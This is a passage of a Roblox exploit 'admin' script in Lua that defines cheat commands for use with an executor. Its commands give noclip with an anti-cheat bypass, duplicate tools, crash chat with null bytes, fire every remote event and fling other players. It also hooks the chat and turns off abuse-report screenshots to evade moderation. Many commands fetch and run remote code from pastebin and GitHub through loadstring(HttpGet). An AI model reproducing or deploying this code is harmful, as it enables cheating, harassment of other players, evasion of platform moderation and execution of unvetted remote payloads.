if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
end
end
end
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
PlayerCharacter.Head.Anchored = false
PlayerCharacter.Torso.Anchored = false
A0.Parent = npc
AP.Parent = npc
AO.Parent = npc
AP.Responsiveness = 200
AP.MaxForce = math.huge
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AP.Attachment0 = A0
AP.Attachment1 = A1
AO.Attachment1 = A1
AO.Attachment0 = A0
A1.Parent = PlayerRootPart
end
end)
end)
ADD_COMMAND('netless','netless',{},
function()
for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do
if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then
game:GetService("RunService").Heartbeat:connect(function()
v.Velocity = Vector3.new(-30,0,0)
end)
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Notification";
Text = "Ligma Netless Ran";
Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"})
Duration = 16;
end)
ADD_COMMAND('kidnap','kidnap',{},
function()
game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(key)
if key == 'z' then
local h = game.Players.LocalPlayer.Character.Humanoid:Clone()
local plr = game.Players.LocalPlayer.Character
local CF = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
local lp = game.Players.LocalPlayer
h.Parent = game.Players.LocalPlayer.Character
h.Name = "Hum"
game.Players.LocalPlayer.Character.Humanoid:Destroy()
for _,v in pairs(game.Players.LocalPlayer:GetDescendants()) do
if v.ClassName == "Tool" then
v.Parent = plr
end
end
wait(.5)
tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(150, Enum.EasingStyle.Linear)
tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, -1000, 0)})
tween:Play()
end
end)
end)
ADD_COMMAND('dupetools','dupetools',{},
function(ARGS)
local AmountToDupe = tonumber(ARGS[1])
local plr = game.Players.LocalPlayer
local char = plr.Character
local pos = char.HumanoidRootPart.Position
local http = game:GetService("HttpService")
local file = 'rejoindupe.json'
writefile(file,http:JSONEncode({
['AmountToDupe'] = AmountToDupe,
['CurrentAmount'] = 0
}))
char.HumanoidRootPart.CFrame = CFrame.new(0,999999,0)
for i,v in pairs(plr.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = char
end
end
wait(.3)
for i,v in pairs(char:GetChildren()) do
if v:IsA("Tool") then
v.Parent = workspace
end
end
local dupescript = [[
game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen()
repeat wait() until game.Players.LocalPlayer
repeat wait() until game.Players.LocalPlayer.Character
repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(%s)
local plr = game.Players.LocalPlayer
local char = plr.Character
local file = "%s"
local a = readfile(file)
local data = game:GetService("HttpService"):JSONDecode(a)
if data['CurrentAmount'] >= data['AmountToDupe'] then
wait(0.5)
for i,v in pairs(workspace:GetChildren()) do
if v:IsA("Tool") then
char.Humanoid:EquipTool(v)
end
end
return
else
wait()
char.HumanoidRootPart.CFrame = CFrame.new(0,999999,0)
for i,v in pairs(plr.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = char
end
end
wait(.3)
for i,v in pairs(char:GetChildren()) do
if v:IsA("Tool") then
v.Parent = workspace
end
end
wait(.1)
data['CurrentAmount'] = data['CurrentAmount'] + 1
writefile(file,game:GetService("HttpService"):JSONEncode(data))
end
syn.queue_on_teleport(readfile("%s"))
repeat
game:GetService("TeleportService"):Teleport(game.PlaceId)
wait(0.5)
until nil
]]
dupescript = string.format(dupescript,tostring(pos),file,"dupescript.lua")
writefile('dupescript.lua',dupescript)
syn.queue_on_teleport(dupescript)
game:GetService("TeleportService"):Teleport(game.PlaceId)
end)
ADD_COMMAND('Roxploit','Roxploit (Client)',{},
function()
loadstring(game:GetObjects("rbxassetid://364364477")[1].Source)()
end)
ADD_COMMAND('replicationui','replicationui',{},
function()
loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
end)
ADD_COMMAND('gravitygun','gravitygun',{},
function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))()
end)
ADD_COMMAND('respawn','respawn',{},
function()
cf = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
game.Players.LocalPlayer.Character.Humanoid.Health = 0
player.CharacterAdded:wait(1); wait(0.2);
character:WaitForChild("HumanoidRootPart").CFrame = cf
end)
ADD_COMMAND('sonic','sonic (requires R6)',{},
function()
local Global = (getgenv and getgenv()) or shared
Global.GelatekReanimateConfig = {
-- [[ Rig Settings ]] --
["sonic"] = true,
}
loadstring(game:HttpGet("https://pastebin.com/raw/uacVtsWe"))()
end)
ADD_COMMAND('grabtools','grabtools',{},
function()
local p = game:GetService("Players").LocalPlayer
local c = p.Character
if c and c:FindFirstChild("Humanoid") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Tool") then
c:FindFirstChild("Humanoid"):EquipTool(v)
end
end
end
end)
ADD_COMMAND('r6','r6',{},
function()
local Global = (getgenv and getgenv()) or shared
Global.GelatekReanimateConfig = {
-- [[ Rig Settings ]] --
["R15ToR6"] = true,
}
loadstring(game:HttpGet("https://raw.githubusercontent.com/Imagnir/r6_anims_for_r15/main/r6_anims.lua"))()
end)
ADD_COMMAND('invisible','invisible',{},
function()
NOTIFY('Toggle = c', 0, 255, 0)
loadstring(game:HttpGetAsync("https://pastebin.com/raw/D1hNQwRT"))()
end)
ADD_COMMAND('holdpartr15','holdpartr15',{},
function()
-- made by joshclark756#7155
local mouse = game.Players.LocalPlayer:GetMouse()
local uis = game:GetService("UserInputService")
-- Connect
mouse.Button1Down:Connect(function()
-- Check for Target & Left Shift
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
local npc = mouse.target
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
local A0 = Instance.new("Attachment")
local AP = Instance.new("AlignPosition")
local AO = Instance.new("AlignOrientation")
local A1 = Instance.new("Attachment")
for _, v in pairs(npc:GetDescendants()) do
if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
game:GetService("RunService").Stepped:Connect(function()
v.CanCollide = false
end)
end
end
for _, v in pairs(PlayerCharacter:GetDescendants()) do
if v:IsA("BasePart") then
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
end
end
end
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
A0.Parent = npc
AP.Parent = npc
AO.Parent = npc
AP.Responsiveness = 200
AP.MaxForce = math.huge
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AP.Attachment0 = A0
AP.Attachment1 = A1
AO.Attachment1 = A1
AO.Attachment0 = A0
A1.Parent = PlayerCharacter.RightHand
end
end)
end)
ADD_COMMAND('holdpartr6','holdpartr6',{},
function()
-- made by joshclark756#7155
local mouse = game.Players.LocalPlayer:GetMouse()
local uis = game:GetService("UserInputService")
-- Connect
mouse.Button1Down:Connect(function()
-- Check for Target & Left Shift
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
local npc = mouse.target
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
local A0 = Instance.new("Attachment")
local AP = Instance.new("AlignPosition")
local AO = Instance.new("AlignOrientation")
local A1 = Instance.new("Attachment")
for _, v in pairs(npc:GetDescendants()) do
if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
game:GetService("RunService").Stepped:Connect(function()
v.CanCollide = false
end)
end
end
for _, v in pairs(PlayerCharacter:GetDescendants()) do
if v:IsA("BasePart") then
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
end
end
end
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
A0.Parent = npc
AP.Parent = npc
AO.Parent = npc
AP.Responsiveness = 200
AP.MaxForce = math.huge
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AP.Attachment0 = A0
AP.Attachment1 = A1
AO.Attachment1 = A1
AO.Attachment0 = A0
A1.Parent = PlayerCharacter:FindFirstChild("Right Arm")
end
end)
end)
ADD_COMMAND('creatorid','creatorid',{},
function()
if game.CreatorType == Enum.CreatorType.User then
game.Players.LocalPlayer.UserId = game.CreatorId
end
if game.CreatorType == Enum.CreatorType.Group then
game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id
end
end)
ADD_COMMAND('fcd','fcd / fireclickdetectors',{},
function()
NOTIFY('Fired all click detectors!', 0, 255, 0)
wait()
for i,v in pairs(game:GetDescendants()) do
if v:IsA("ClickDetector") then
fireclickdetector(v)
end
end
end)
ADD_COMMAND('fti','fti / firetouchinerests',{},
function()
NOTIFY('Fired all touch interests!', 0, 255, 0)
wait()
for _,v in pairs(workspace:GetDescendants()) do
if v:IsA("TouchTransmitter") then
firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 0) --0 is touch
wait()
firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 1) -- 1 is untouch
end
end
end)
ADD_COMMAND('dex','dex',{},
function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
end)
ADD_COMMAND('breakchat','breakchat',{},
function()
for i=1,3 do
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("\0", "All")
end
end)
ADD_COMMAND('noclip','noclip (keybind x)',{},
function()
local nckey = "x";
local nclip = false;
local lp = game.Players.LocalPlayer
local ms = lp:GetMouse()
local rm = getrawmetatable(game)
local index = rm.__index
local bv = Instance.new("BoolValue");
bv.Value = false;
setreadonly(rm,false)
rm.__index = function(self,j)
if tostring(self) == "Part" and tostring(j) == "Anchored" then
return index(bv,"Value")
end
return index(self,j)
end
game:GetService("RunService").Stepped:Connect(function()
if nclip == true then
lp.Character.Head.CanCollide = false
lp.Character.Torso.CanCollide = false
end
end);
ms.KeyDown:Connect(function(k)
if k == nckey then
nclip = not nclip
if nclip == true then
print("Noclip is on.")
else
print("Noclip if off.")
end
end
end)
print("Noclip key is X");
print("Press X to turn noclip on and off");
print("This noclip should bypass most anti-cheats");
end)
ADD_COMMAND('antichatlog','antichatlog',{},
function()
-- no skid :)
if not game:IsLoaded() then
game.Loaded:wait()
end
local ACL_LoadTime = tick()
local CoreGui = game:GetService("CoreGui")
local StarterGui = game:GetService("StarterGui")
local TweenService = game:GetService("TweenService")
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:FindFirstChildWhichIsA("PlayerGui") do
if not PlayerGui then
repeat task.wait() until Player:FindFirstChildWhichIsA("PlayerGui")
PlayerGui = Player:FindFirstChildWhichIsA("PlayerGui")
end
end
local Notify = function(_Title, _Text , Time)
StarterGui:SetCore("SendNotification", {Title = _Title, Text = _Text, Icon = "rbxassetid://2541869220", Duration = Time})
end
local Tween = function(Object, Time, Style, Direction, Property)
return TweenService:Create(Object, TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction]), Property)
end
local Insert = function(Tbl, ...)
for _, x in next, {...} do
table.insert(Tbl, x)
end
end
local ChatFixToggle = true
local CoreGuiSettings = {}
local ChatFix
ChatFix = hookmetamethod(StarterGui, "__namecall", function(self, ...)
local Method = getnamecallmethod()
local Arguments = {...}
if not checkcaller() and ChatFixToggle and Method == "SetCoreGuiEnabled" then
local CoreGuiType = Arguments[1]
local SettingValue = Arguments[2]
if CoreGuiType == ("All" or "Chat") then
Insert(CoreGuiSettings, CoreGuiType, SettingValue)
return
end
end
return ChatFix(self, ...)
end)
local ACLWarning = Instance.new("ScreenGui")
local Background = Instance.new("Frame")
local Top = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local UICorner = Instance.new("UICorner")
local WarningLbl = Instance.new("TextLabel")
local Loading = Instance.new("Frame")
local Bar = Instance.new("Frame")
local WarningBackground = Instance.new("Frame")
local WarningFrame = Instance.new("Frame")
local Despair = Instance.new("TextLabel")
local UIListLayout = Instance.new("UIListLayout")
local Reason_1 = Instance.new("TextLabel")
local Reason_2 = Instance.new("TextLabel")
local Trollge = Instance.new("ImageLabel")
local UIPadding = Instance.new("UIPadding")
local MakeGuiThread = coroutine.wrap(function()
syn.protect_gui(ACLWarning)
ACLWarning.Name = "ACL Warning"
ACLWarning.Parent = CoreGui
ACLWarning.Enabled = false
ACLWarning.DisplayOrder = -2147483648
Background.Name = "Background"
Background.Parent = ACLWarning
Background.AnchorPoint = Vector2.new(0.5, 0.5)
Background.BackgroundColor3 = Color3.fromRGB(21, 0, 0)
Background.BorderSizePixel = 0
Background.Position = UDim2.new(0.5, 0, 0.5, 0)
Background.Size = UDim2.new(0.300000012, 0, 0.5, 0)
Top.Name = "Top"
Top.Parent = Background
Top.AnchorPoint = Vector2.new(0.5, 0.5)
Top.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
Top.BorderSizePixel = 0
Top.Position = UDim2.new(0.5, 0, 0.100000001, 0)
Top.Size = UDim2.new(0.899999976, 0, 0.100000001, 0)
Exit.Name = "Exit"
Exit.Parent = Top
Exit.AnchorPoint = Vector2.new(0.5, 0.5)
Exit.BackgroundColor3 = Color3.fromRGB(38, 0, 0)
Exit.Position = UDim2.new(0.949999988, 0, 0.5, 0)
Exit.Size = UDim2.new(0.100000001, -6, 1, -9)
Exit.Visible = false
Exit.Font = Enum.Font.Arcade
Exit.Text = "X"
Exit.TextColor3 = Color3.fromRGB(255, 255, 255)
Exit.TextScaled = true
Exit.TextSize = 14.000
Exit.TextWrapped = true
UICorner.CornerRadius = UDim.new(0.200000003, 0)
UICorner.Parent = Exit
WarningLbl.Name = "WarningLbl"
WarningLbl.Parent = Top
WarningLbl.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
WarningLbl.BackgroundTransparency = 1.000
WarningLbl.Position = UDim2.new(0, 17, 0, 0)
WarningLbl.Size = UDim2.new(0.5, 0, 1, 0)
WarningLbl.Font = Enum.Font.Arcade
WarningLbl.Text = "Warning!"
WarningLbl.TextColor3 = Color3.fromRGB(255, 255, 255)
WarningLbl.TextScaled = true
WarningLbl.TextSize = 14.000
WarningLbl.TextWrapped = true
WarningLbl.TextXAlignment = Enum.TextXAlignment.Left
Loading.Name = "Loading"
Loading.Parent = Top
Loading.AnchorPoint = Vector2.new(0.5, 0.5)
Loading.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
Loading.BorderSizePixel = 0
Loading.Position = UDim2.new(0.699999988, 0, 0.5, 0)
Loading.Size = UDim2.new(0.349999994, 0, 0.0199999996, 0)
Bar.Name = "Bar"
Bar.Parent = Loading
Bar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Bar.BorderSizePixel = 0
Bar.Size = UDim2.new(0, 0, 1, 0)
WarningBackground.Name = "WarningBackground"
WarningBackground.Parent = Background
WarningBackground.AnchorPoint = Vector2.new(0.5, 0.5)
WarningBackground.BackgroundColor3 = Color3.fromRGB(9, 9, 9)
WarningBackground.BorderSizePixel = 0
WarningBackground.Position = UDim2.new(0.5, 0, 0.550000012, 0)
WarningBackground.Size = UDim2.new(0.899999976, 0, 0.800000012, 0)
WarningFrame.Name = "WarningFrame"
WarningFrame.Parent = WarningBackground
WarningFrame.AnchorPoint = Vector2.new(0.5, 0.5)
WarningFrame.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
WarningFrame.BorderSizePixel = 0
WarningFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
WarningFrame.Size = UDim2.new(0.899999976, 0, 0.899999976, 0)
Despair.Name = "Despair"
Despair.Parent = WarningFrame
Despair.AnchorPoint = Vector2.new(0.5, 0.5)
Despair.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Despair.BackgroundTransparency = 1.000
Despair.BorderColor3 = Color3.fromRGB(27, 42, 53)
Despair.BorderSizePixel = 0
Despair.Position = UDim2.new(0.5, 0, 0.100000001, 0)
Despair.Size = UDim2.new(0.949999988, 0, 0.119999997, 0)
Despair.Font = Enum.Font.Oswald
Despair.Text = "Anti Chat Logger will not work here!"
Despair.TextColor3 = Color3.fromRGB(255, 255, 255)
Despair.TextScaled = true
Despair.TextSize = 50.000
Despair.TextWrapped = true
Despair.TextYAlignment = Enum.TextYAlignment.Top
UIListLayout.Parent = WarningFrame
UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0, 15)
Reason_1.Name = "Reason_1"
Reason_1.Parent = WarningFrame
Reason_1.AnchorPoint = Vector2.new(0.5, 0.5)
Reason_1.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Reason_1.BackgroundTransparency = 1.000
Reason_1.BorderColor3 = Color3.fromRGB(27, 42, 53)
Reason_1.BorderSizePixel = 0
Reason_1.Position = UDim2.new(0.5, 0, 0.100000001, 0)
Reason_1.Size = UDim2.new(0.949999988, 0, 0.100000001, 0)
Reason_1.Visible = false
Reason_1.Font = Enum.Font.Oswald
Reason_1.Text = "-Chat Module was not found."
Reason_1.TextColor3 = Color3.fromRGB(255, 0, 0)
Reason_1.TextScaled = true
Reason_1.TextSize = 50.000
Reason_1.TextWrapped = true
Reason_1.TextYAlignment = Enum.TextYAlignment.Top
Reason_2.Name = "Reason_2"
Reason_2.Parent = WarningFrame
Reason_2.AnchorPoint = Vector2.new(0.5, 0.5)
Reason_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Reason_2.BackgroundTransparency = 1.000
Reason_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
Reason_2.BorderSizePixel = 0
Reason_2.Position = UDim2.new(0.5, 0, 0.100000001, 0)
Reason_2.Size = UDim2.new(0.949999988, 0, 0.100000001, 0)
Reason_2.Visible = false
Reason_2.Font = Enum.Font.Oswald
Reason_2.Text = "-MessagePosted function is invalid."
Reason_2.TextColor3 = Color3.fromRGB(255, 0, 0)
Reason_2.TextScaled = true
Reason_2.TextSize = 50.000
Reason_2.TextWrapped = true
Reason_2.TextYAlignment = Enum.TextYAlignment.Top
Trollge.Name = "Trollge"
Trollge.Parent = WarningFrame
Trollge.AnchorPoint = Vector2.new(0.5, 0.5)
Trollge.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Trollge.BackgroundTransparency = 1.000
Trollge.Position = UDim2.new(0.5, 0, 0.670000017, 0)
Trollge.Size = UDim2.new(0.449999988, 0, 0.5, 0)
Trollge.Image = "rbxassetid://10104834800"
UIPadding.Parent = WarningFrame
UIPadding.PaddingTop = UDim.new(0, 10)
Exit.MouseButton1Click:Connect(function()
local UpTween = Tween(Background, .2, "Quint", "Out", {Position = UDim2.new(0.5, 0, 0.45, 0)})
local DownTween = Tween(Background, 1, "Quad", "Out", {Position = UDim2.new(0.5, 0, 2, 0)})
UpTween:Play()
UpTween.Completed:wait()
DownTween:Play()
DownTween.Completed:wait()
ACLWarning:Destroy()
end)
end)()
local ExitCooldown = function()
wait(3)
local Tween = Tween(Bar, 5, "Quad", "InOut", {Size = UDim2.new(1, 0, 1, 0)})
Tween:Play()
Tween.Completed:wait()
Loading:Destroy()
Exit.Visible = true
end
local PlayerScripts = Player:WaitForChild("PlayerScripts")
local ChatMain = PlayerScripts:FindFirstChild("ChatMain", true) or false
if not ChatMain then
local Timer = tick()
repeat
task.wait()
until PlayerScripts:FindFirstChild("ChatMain", true) or tick() > (Timer + 3)
ChatMain = PlayerScripts:FindFirstChild("ChatMain", true)
if not ChatMain then
ACLWarning.Enabled = true
Reason_1.Visible = true
ExitCooldown()
return
end
end
local PostMessage = require(ChatMain).MessagePosted
if not PostMessage then
ACLWarning.Enabled = true
Reason_2.Visible = true
ExitCooldown()
return
end
local MessageEvent = Instance.new("BindableEvent")
local OldFunctionHook
OldFunctionHook = hookfunction(PostMessage.fire, function(self, Message)
if not checkcaller() and self == PostMessage then
MessageEvent:Fire(Message)
return
end
return OldFunctionHook(self, Message)
end)
if setfflag then
setfflag("AbuseReportScreenshot", "False")
setfflag("AbuseReportScreenshotPercentage", 0)
end
ChatFixToggle = false
ACLWarning:Destroy()
if OldSetting then
StarterGui:SetCoreGuiEnabled(CoreGuiSettings[1], CoreGuiSettings[2])
end
Notify("Loaded Successfully", "Anti Chat and Screenshot Logger Loaded!", 15)
print(string.format("Anti Chat-Logger has loaded in %s seconds.", tostring(tick() - ACL_LoadTime):sub(1, 4)))
end)
ADD_COMMAND('soundglitcher','soundglitcher',{},
function()
local duration = 999999 -- integer only, no decimals
if game:GetService("SoundService").RespectFilteringEnabled then return end
local sounds = {}
for i,v in pairs(Game:GetDescendants()) do
if v:IsA("Sound") then
table.insert(sounds,v)
end
end
local con = Game.DescendantAdded:Connect(function(v)
if v:IsA("Sound") then
table.insert(sounds,v)
end
end)
wait(.1)
local start = math.floor(tick())
repeat
for i,v in pairs(sounds) do
v:Play()
v.TimePosition = math.random(0,v.TimeLength * 1000)/1000
task.wait()
end
until math.floor(tick()) == start + duration
con:Disconnect()
for i,v in pairs(sounds) do
v:Stop()
end
end)
ADD_COMMAND('fpp','fpp / fireproximityprompts',{},
function()
fireproximityprompt(workspace.Instance.ProximityPrompt, 1, true)
end)
ADD_COMMAND('removedn','removedn / removedisplaynames',{},
function()
local Players = game:FindService("Players")
require(game:GetService("Chat"):WaitForChild("ClientChatModules").ChatSettings).PlayerDisplayNamesEnabled = false
local function rename(character,name)
repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid")
character:FindFirstChildWhichIsA("Humanoid").DisplayName = name
end
for i,v in next, Players:GetPlayers() do
if v.Character then
v.DisplayName = v.Name
rename(v.Character,v.Name)
end
v.CharacterAdded:Connect(function(char)
rename(char,v.Name)
end)
end
Players.PlayerAdded:Connect(function(plr)
plr.DisplayName = plr.Name
plr.CharacterAdded:Connect(function(char)
rename(char,plr.Name)
end)
end)
end)
ADD_COMMAND('rejoin','rejoin',{},
function()
local ts = game:GetService("TeleportService")
local p = game:GetService("Players").LocalPlayer
ts:TeleportToPlaceInstance(game.PlaceId, game.JobId, p)
end)
ADD_COMMAND('sit','sit',{},
function()
game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = true
end)
ADD_COMMAND('lowgraphics','lowgraphics',{},
function()
local Terrain = workspace:FindFirstChildOfClass('Terrain')
Terrain.WaterWaveSize = 0
Terrain.WaterWaveSpeed = 0
Terrain.WaterReflectance = 0
Terrain.WaterTransparency = 0
settings().Rendering.QualityLevel = 1
for i,v in pairs(game:GetDescendants()) do
if v:IsA("Part") or v:IsA("UnionOperation") or v:IsA("MeshPart") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then
v.Material = "Plastic"
v.Reflectance = 0
elseif v:IsA("Decal") then
v.Transparency = 1
elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
v.Lifetime = NumberRange.new(0)
elseif v:IsA("Explosion") then
v.BlastPressure = 1
v.BlastRadius = 1
end
end
for i,v in pairs(Lighting:GetDescendants()) do
if v:IsA("BlurEffect") or v:IsA("SunRaysEffect") or v:IsA("ColorCorrectionEffect") or v:IsA("BloomEffect") or v:IsA("DepthOfFieldEffect") then
v.Enabled = false
end
end
workspace.DescendantAdded:Connect(function(child)
coroutine.wrap(function()
if child:IsA('ForceField') then
RunService.Heartbeat:Wait()
child:Destroy()
elseif child:IsA('Sparkles') then
RunService.Heartbeat:Wait()
child:Destroy()
elseif child:IsA('Smoke') or child:IsA('Fire') then
RunService.Heartbeat:Wait()
child:Destroy()
end
end)()
end)
end)
ADD_COMMAND('fatesadmin','fatesadmin',{},
function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))();
end)
ADD_COMMAND('hidename','hidename (only works on billboard guis)',{},
function()
for _,item in pairs(workspace[game.Players.LocalPlayer.Name].Head:GetChildren()) do
if item:IsA('BillboardGui') then
item:Remove()
end
end
end)
ADD_COMMAND('homebrew','homebrew',{},
function()
loadstring(game:HttpGet(('https://raw.githubusercontent.com/mgamingpro/HomebrewAdmin/master/Main'),true))()
end)
ADD_COMMAND('krystaldance','krystaldance',{},
function()
loadstring(game:HttpGet('https://pastebin.com/raw/vBBmqzMy'))()
end)
ADD_COMMAND('chattrollgui','chattrollgui',{},
function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/sinret/rbxscript.com-scripts-reuploads-/main/chatt", true))()
end)
ADD_COMMAND('fireremotes','fireremotes',{},
function()
NOTIFY('Fired all remotes!', 0, 255, 0)
wait()
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
v:FireServer()
if v:IsA("BindableEvent") then
v:Fire()
if v:IsA("RemoteFunction") then
v:InvokeServer()
end
end
end
end
end)
ADD_COMMAND('uafollow','uafollow / unanchoredfollow',{},
function()
local LocalPlayer = game:GetService("Players").LocalPlayer
local unanchoredparts = {}
local movers = {}
for index, part in pairs(workspace:GetDescendants()) do
if part:IsA("Part") and part.Anchored == false and part:IsDescendantOf(LocalPlayer.Character) == false then
table.insert(unanchoredparts, part)
part.Massless = true
part.CanCollide = false
if part:FindFirstChildOfClass("BodyPosition") ~= nil then
part:FindFirstChildOfClass("BodyPosition"):Destroy()
end
end
end
for index, part in pairs(unanchoredparts) do
local mover = Instance.new("BodyPosition", part)
table.insert(movers, mover)
mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
end
repeat
for index, mover in pairs(movers) do
mover.Position = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5))
end
wait(0.5)
until LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0
for _, mover in pairs(movers) do
mover:Destroy()
end
end)
ADD_COMMAND('fov','fov',{},
function(ARGS)
game.Workspace.CurrentCamera.FieldOfView = tonumber(ARGS[1])
end)
ADD_COMMAND('uanograv','uanograv / unanchorednogravity',{},
function()
loadstring(game:HttpGet("https://pastebin.com/raw/MHdBcJQL", true))()
end)
ADD_COMMAND('bringua','bringua / bringunanchored',{},
function()
for _,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and v.Anchored==false then
v.CFrame=game:GetService("Players").LocalPlayer.Character.Head.CFrame
end
end
end)
ADD_COMMAND('BlackHole','BlackHole',{},
function()
NOTIFY('Toggle = E', 0, 255, 0)
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))()
end)
ADD_COMMAND('remotespy','remotespy',{},
function()
loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))()
end)
ADD_COMMAND('blockhats','blockhats',{},
function()
for _, hat in pairs(character:GetChildren()) do
if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then
local handle = hat.Handle
if handle:FindFirstChildWhichIsA("SpecialMesh") then
handle:FindFirstChildWhichIsA("SpecialMesh"):Destroy()
end
end
end
end)
ADD_COMMAND('blocktools','blocktools',{},
function()
for _, tool in pairs(character:GetChildren()) do
if tool:IsA("Tool") then
for _, mesh in pairs(tool:GetDescendants()) do
if mesh:IsA("DataModelMesh") then
mesh:Destroy()
end
end
end
end
end)
ADD_COMMAND('toolfling','toolfling',{},
function()
local char = player.Character
local hrp = char:FindFirstChild("HumanoidRootPart")
local hum = char:FindFirstChildWhichIsA("Humanoid")
local tors = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
if char then
local c = lib.connect("pfling", RunService.Stepped:Connect(function()
for i, v in pairs(char:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end))
tors.Anchored = true
local tool = Instance.new("Tool", localPlayer.Backpack)
local hat = char:FindFirstChildOfClass("Accessory")
local hathandle = hat.Handle
hathandle.Parent = tool
hathandle.Massless = true
tool.GripPos = Vector3.new(0, 9e99, 0)
tool.Parent = localPlayer.Character
repeat wait() until char:FindFirstChildOfClass("Tool") ~= nil
tool.Grip = CFrame.new(Vector3.new(0, 0, 0))
tors.Anchored = false
repeat
hrp.CFrame = hrp.CFrame
wait()
until not c.Connected
hum:UnequipTools()
hathandle.Parent = hat
hathandle.Massless = false
tool:Destroy()
end
end)
ADD_COMMAND('hydroxide','hydroxide',{},
function()
local owner = "Upbolt"
local branch = "revision"
local function webImport(file)
return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')()
end
webImport("init")
webImport("ui/main")
end)
ADD_COMMAND('equiptools','equiptools',{},
function()
for _, tool in ipairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = game:GetService("Players").LocalPlayer.Character -- I didn't use Equip because the Equip function unequips any other tools in your character.
end
end
end)
ADD_COMMAND('oldroblox','oldroblox (Client)',{},
function()
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") then
local dec = Instance.new("Texture", v)
dec.Texture = "rbxassetid://48715260"
dec.Face = "Top"
dec.StudsPerTileU = "1"
dec.StudsPerTileV = "1"
dec.Transparency = v.Transparency
v.Material = "Plastic"
local dec2 = Instance.new("Texture", v)
dec2.Texture = "rbxassetid://20299774"
dec2.Face = "Bottom"
dec2.StudsPerTileU = "1"
dec2.StudsPerTileV = "1"
dec2.Transparency = v.Transparency
v.Material = "Plastic"
end
end
game.Lighting.ClockTime = 12
game.Lighting.GlobalShadows = false
game.Lighting.Outlines = false
